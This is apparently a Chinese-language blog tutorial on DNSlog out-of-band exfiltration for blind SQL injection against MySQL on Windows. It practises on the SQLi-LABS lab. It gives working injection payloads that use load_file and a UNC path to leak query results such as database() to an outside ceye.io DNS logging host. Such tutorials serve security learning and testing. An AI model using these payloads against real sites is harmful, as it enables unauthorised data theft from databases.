在SQL注入盲注中,盲注是很慢的一个过程。但是,对方服务器如果是Windows服务器,MySQL全局变量 secure_file_priv='' 的时候,我们就可以利用Dnslog盲注出数据,不需要盲注去遍历字母判断是否正确。

什么是Dnslog?

给大家看一张图了解一下。

相信大家看了一头雾水,哈哈哈,别急,我来解释一下。

什么是Dns? 相信大家都知道,但是Dnslog是啥?

Dnslog 是一个具有保存Dns日志的一个功能,可以保存 HTTP RequestDNS Query 信息。

举个例子,当我有一个Dnslog服务器 abc.ceye.io

本次例子用的是CEYE的Dnslog平台,给的是二级域名。

当你访问 xxx.abc.ceye.io 的时候,平台就会记录下来,当然你访问 abc.ceye.io 也会记录下来。

如何使用?

使用 curl abc.ceye.io 命令来请求,如果返回信息为 {"meta": {"code": 201, "message": "HTTP Record Insert Success"}} 说明响应成功并写入到了Dnslog

这个有时候会响应失败,多响应一次就行了。

注意事项

Dnslog盲注是有条件限制的,对方服务器必须是Windows服务器

MySQL的 secure 全局变量必须是下面设置的

+——————+——-+
| Variable_name | Value |
+——————+——-+
| secure_auth | OFF |
| secure_file_priv | |
+——————+——-+

secure_file_priv 变量必须为空

  • 当secure_file_priv为空,就可以读取磁盘的目录。

  • 当secure_file_priv为G:\,就可以读取G盘的文件。

  • 当secure_file_priv为null,load_file就不能加载文件。

Dnslog盲注

判断是否可以Dnslog盲注,在测试的时候可以使用MySQL客户端执行 select load_file(concat('\\\\',(select database()),'.evqrpz.ceye.io\\abc')); 命令,该命令会请求远程的Dns服务器,就会被记录到Dnslog里,从而我们可以获取到数据库名。

可以看到,响应时间为10秒,这个请求过程花费了10秒,说明已经请求了。

这里,我选用的是SQLi-LABS里面的第八关布尔盲注来进行测试

Payload: ' and if((select load_file(concat('\\\\',(select database()),'.abc.ceye.io\\abc'))),1,0)-- s

三级域名的名字就是我们刚刚请求的 select database() 执行后的结果

这里成功的收到了当前数据库名,当然,可以对Payload进行修改查看到其他盲注无法回显的信息,Dnslog都能获取到。